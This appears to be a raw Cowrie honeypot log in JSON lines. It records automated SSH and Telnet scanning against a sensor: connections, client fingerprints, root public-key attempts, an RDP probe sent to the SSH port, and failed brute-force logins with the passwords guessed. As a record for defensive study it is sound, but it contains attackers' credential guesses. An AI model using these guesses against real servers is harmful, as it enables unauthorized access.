{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:35.174468Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17111993","message":"login attempt [user/17111993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:35.670174Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171088","message":"login attempt [user/171088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:36.779423Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17101995","message":"login attempt [user/17101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:37.889857Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17101978","message":"login attempt [user/17101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:38.999247Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17091994","message":"login attempt [user/17091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:40.108583Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:41.219779Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dc4d1907c88","protocol":"telnet","message":"New connection: 152.42.224.71:51346 (10.17.0.5:23) [session: 4dc4d1907c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:46.083003Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":4570,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c83146c248","protocol":"ssh","message":"New connection: 45.148.147.191:4570 (10.17.0.5:22) [session: c0c83146c248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:51.992508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:51.997970Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.093993Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:b1:9f:a8:e0:ce:92:bb:83:4c:aa:f2:55:5d:d4:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3OAZR9LSPk7KbzgaGgbDb0YX9i74kUnqJSD6Jw8EAXYVH5ZU4mBHGBtvPKi+gk8fp6IICHnDEF2FZL+sdH/YkqwfX/J+/AtHdAVXLkQIur8/GXLWw0a5qW70aWrFkmEhcC+Za4EVHVd9Vkl0rWfSBkAU+AZgzbXxXKRpIegBVLLOTPpDN1ajQn092gG+8XGY4bPhomPY7rniJ+AxD/XQXuV0VSPLwsg/UghJ3mVaHSc5ZuiEmlceq5f9NFmKkyVatBUQsc/13lLbUuGXdzInIz0uiYL08piJHfpit3yc//D3C+briyXkd+4hvYlRWHTgvDuFQZva/qtdeB8S+xkqZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:b1:9f:a8:e0:ce:92:bb:83:4c:aa:f2:55:5d:d4:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.541396Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:b1:9f:a8:e0:ce:92:bb:83:4c:aa:f2:55:5d:d4:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3OAZR9LSPk7KbzgaGgbDb0YX9i74kUnqJSD6Jw8EAXYVH5ZU4mBHGBtvPKi+gk8fp6IICHnDEF2FZL+sdH/YkqwfX/J+/AtHdAVXLkQIur8/GXLWw0a5qW70aWrFkmEhcC+Za4EVHVd9Vkl0rWfSBkAU+AZgzbXxXKRpIegBVLLOTPpDN1ajQn092gG+8XGY4bPhomPY7rniJ+AxD/XQXuV0VSPLwsg/UghJ3mVaHSc5ZuiEmlceq5f9NFmKkyVatBUQsc/13lLbUuGXdzInIz0uiYL08piJHfpit3yc//D3C+briyXkd+4hvYlRWHTgvDuFQZva/qtdeB8S+xkqZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.545120Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:28:be:4b:2d:21:e8:23:3a:5c:60:78:a3:81:68:9f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOJm8GzCfXihsA5RdxaGwt/+91q+GfJRTV0x1YW0Xm9MzJtQHZBlg/Uf5WvNg7qcCj86i9PpddNTr6EvfeTYUdFgKB6b2V58lnn73Bm8fcvByyWH1dqWhbqc+KYrLElnzXCyX8qmTBEQHIMw/dvJNCeF3zAeI58tmsQtI/WrVh/tAAAAFQDn/d5KA8SiZxxV7TCxZgO4w+alMwAAAIAJe/D6fL/gX+G3VcXuQlL+to4XvqI+PZE2G+b0KiQcUXGNr9QuCYGMcwF7IAWtK+eD9V7g9sFyacWOvCeCU49IRvUk0Iv9d4o2P0bxQSmX1qQ2IDHHjn9ACBLnak97LStlj5Lp2YN1bk6VXKnU/9+ZApAFJjjpxTK7cyk9izdg4QAAAIEAjEyZd2aMbwzQ6aCiznbahWd5+QlT+JYuyET0kLkgrF82qHsgEy1m7ge/m5kUiDvsCqS+JI9Mqd9u8i8qAsZIoni9bgh7I9gK4dkBImLspanfR1DHBJOKT3JOLmXnJP+8Uyr4kK5sOE8POYd5ucpJu22sZ5M9kbl2IDqFI3s1N/c=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 51:28:be:4b:2d:21:e8:23:3a:5c:60:78:a3:81:68:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.642386Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:28:be:4b:2d:21:e8:23:3a:5c:60:78:a3:81:68:9f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOJm8GzCfXihsA5RdxaGwt/+91q+GfJRTV0x1YW0Xm9MzJtQHZBlg/Uf5WvNg7qcCj86i9PpddNTr6EvfeTYUdFgKB6b2V58lnn73Bm8fcvByyWH1dqWhbqc+KYrLElnzXCyX8qmTBEQHIMw/dvJNCeF3zAeI58tmsQtI/WrVh/tAAAAFQDn/d5KA8SiZxxV7TCxZgO4w+alMwAAAIAJe/D6fL/gX+G3VcXuQlL+to4XvqI+PZE2G+b0KiQcUXGNr9QuCYGMcwF7IAWtK+eD9V7g9sFyacWOvCeCU49IRvUk0Iv9d4o2P0bxQSmX1qQ2IDHHjn9ACBLnak97LStlj5Lp2YN1bk6VXKnU/9+ZApAFJjjpxTK7cyk9izdg4QAAAIEAjEyZd2aMbwzQ6aCiznbahWd5+QlT+JYuyET0kLkgrF82qHsgEy1m7ge/m5kUiDvsCqS+JI9Mqd9u8i8qAsZIoni9bgh7I9gK4dkBImLspanfR1DHBJOKT3JOLmXnJP+8Uyr4kK5sOE8POYd5ucpJu22sZ5M9kbl2IDqFI3s1N/c=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.646706Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:22:5a:fd:e1:cf:cc:03:af:58:0c:9b:8d:f4:3b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGT0eOQBeWa9QPfrdhEC6AvsEmrQvGa9vv+CG5MuApeA+sc1yeUVwUTTSRRUrGQTKb+IZg8PAfmz8+f8v5NKHGIpKxmV5vozXbXaT9zaXRp0DAIJtdCKui+EeWocn/hm75z9xpsJvVmbYs7zUTCt5ttxfyInyuM9grOsY2awx8U7XMfL8sROHMNBkpNPZ+dEFCHXb6SbPLp8VGKBpTSsgANm3HsI5pTrT066U7OR7peoHhyDlsMAr6DrHmPyF1MI2V8q9EbgTp4/djp8Si3SzYz76ZdxrFgrw9F0KPkYzaEy9S6E/MhrXhZAGV8NYpHBmKG3bVZPm2wd2bAWnnJDw9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:22:5a:fd:e1:cf:cc:03:af:58:0c:9b:8d:f4:3b:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.742100Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:22:5a:fd:e1:cf:cc:03:af:58:0c:9b:8d:f4:3b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGT0eOQBeWa9QPfrdhEC6AvsEmrQvGa9vv+CG5MuApeA+sc1yeUVwUTTSRRUrGQTKb+IZg8PAfmz8+f8v5NKHGIpKxmV5vozXbXaT9zaXRp0DAIJtdCKui+EeWocn/hm75z9xpsJvVmbYs7zUTCt5ttxfyInyuM9grOsY2awx8U7XMfL8sROHMNBkpNPZ+dEFCHXb6SbPLp8VGKBpTSsgANm3HsI5pTrT066U7OR7peoHhyDlsMAr6DrHmPyF1MI2V8q9EbgTp4/djp8Si3SzYz76ZdxrFgrw9F0KPkYzaEy9S6E/MhrXhZAGV8NYpHBmKG3bVZPm2wd2bAWnnJDw9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.745949Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:fd:5b:9b:5a:a0:86:e5:bc:21:be:ab:d4:72:b6:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18+Nf5ebNRDdDfFVzxH/E0TSCr6Avi3SaCjihyJRcfWmv3Dh/1fchTXgpWb3OYLTfJnH3qKjrE+UyvnLz6mztK8ByneADuWCYRfV1lAs87qLku7AkGKMUEef7StfJk6Hv0O0x8ut/T9+y6MxrcNwS26aHAUFALeVsr+zhbKS8H4gaJyyyyTp10bzjvtKi5LP/6FcI3P93gh5xHIdi261tJKKi49255DTG1Od0oqd5tQlQaNYAw3aV2KA5ueqDwsve02DUvByt3PxbQaYBIYr3Yq6FNRPqR+8T1VQhUjSSS5akwNGHexsry93ESIH1a5RMbgR+35Dg/B4Yl9yv8SPFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:fd:5b:9b:5a:a0:86:e5:bc:21:be:ab:d4:72:b6:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.841146Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:fd:5b:9b:5a:a0:86:e5:bc:21:be:ab:d4:72:b6:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18+Nf5ebNRDdDfFVzxH/E0TSCr6Avi3SaCjihyJRcfWmv3Dh/1fchTXgpWb3OYLTfJnH3qKjrE+UyvnLz6mztK8ByneADuWCYRfV1lAs87qLku7AkGKMUEef7StfJk6Hv0O0x8ut/T9+y6MxrcNwS26aHAUFALeVsr+zhbKS8H4gaJyyyyTp10bzjvtKi5LP/6FcI3P93gh5xHIdi261tJKKi49255DTG1Od0oqd5tQlQaNYAw3aV2KA5ueqDwsve02DUvByt3PxbQaYBIYr3Yq6FNRPqR+8T1VQhUjSSS5akwNGHexsry93ESIH1a5RMbgR+35Dg/B4Yl9yv8SPFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.845227Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:76:86:af:1f:89:b0:a1:c9:b2:b7:ec:0e:eb:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzMCXyKxnOWb9VNDZv4Own7tzY72oEw0DPRG+BIi3CRD6xMSVeGWtWkZON+h5O76QsOVpT4Vylwlimf6wlB1rKGEvhzGPDkD5p2tojc1hAmgXo38tIvR9+KiPKZZLceD5fSi9s0eSj6PEz5UpPHNmQXY8fzQCfDBKipp0yRmSsYXudeFIf+oRgIFYw0/jdpKx6wV5mqjRohFVeccNHJgwypcMViejzw0bCmBM676xJq2t88SqGG8Q2YhJtvSU+WUM567ALcqeKDsH7c4pcKxvzjJ1jZFN3jYXIzfL+pzJiUEgg9uLimaN1YHfWseMVTd3jrTB7Z0jSKCsd/SgAVasw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:76:86:af:1f:89:b0:a1:c9:b2:b7:ec:0e:eb:d2:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.943276Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:76:86:af:1f:89:b0:a1:c9:b2:b7:ec:0e:eb:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzMCXyKxnOWb9VNDZv4Own7tzY72oEw0DPRG+BIi3CRD6xMSVeGWtWkZON+h5O76QsOVpT4Vylwlimf6wlB1rKGEvhzGPDkD5p2tojc1hAmgXo38tIvR9+KiPKZZLceD5fSi9s0eSj6PEz5UpPHNmQXY8fzQCfDBKipp0yRmSsYXudeFIf+oRgIFYw0/jdpKx6wV5mqjRohFVeccNHJgwypcMViejzw0bCmBM676xJq2t88SqGG8Q2YhJtvSU+WUM567ALcqeKDsH7c4pcKxvzjJ1jZFN3jYXIzfL+pzJiUEgg9uLimaN1YHfWseMVTd3jrTB7Z0jSKCsd/SgAVasw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:52.947577Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:53.042798Z","src_ip":"45.148.147.191","session":"c0c83146c248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f41df9f0064","protocol":"ssh","message":"New connection: 109.172.54.111:53040 (10.17.0.5:22) [session: 8f41df9f0064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:02.908430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:02.915066Z","src_ip":"109.172.54.111","session":"8f41df9f0064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:03.017532Z","src_ip":"109.172.54.111","session":"8f41df9f0064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolbasa","message":"login attempt [root/kolbasa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:03.349262Z","src_ip":"109.172.54.111","session":"8f41df9f0064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:04.451785Z","src_ip":"109.172.54.111","session":"8f41df9f0064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37366,"dst_ip":"159.203.135.109","dst_port":22,"session":"16d22d345a6e","protocol":"ssh","message":"New connection: 193.37.70.224:37366 (159.203.135.109:22) [session: 16d22d345a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:21.650717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:21.656862Z","src_ip":"193.37.70.224","session":"16d22d345a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:21.761322Z","src_ip":"193.37.70.224","session":"16d22d345a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77887788","message":"login attempt [root/77887788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:22.053157Z","src_ip":"193.37.70.224","session":"16d22d345a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:23.153887Z","src_ip":"193.37.70.224","session":"16d22d345a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59240,"dst_ip":"159.203.135.109","dst_port":22,"session":"af552105ce30","protocol":"ssh","message":"New connection: 152.42.212.128:59240 (159.203.135.109:22) [session: af552105ce30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:44.213963Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:44.219043Z","src_ip":"152.42.212.128","session":"af552105ce30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:44.222742Z","src_ip":"152.42.212.128","session":"af552105ce30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.82214307785034,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:52.905015Z","src_ip":"152.42.224.71","session":"4dc4d1907c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63995,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e907c551540","protocol":"ssh","message":"New connection: 167.172.81.52:63995 (159.203.135.109:22) [session: 0e907c551540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:57.939080Z"}
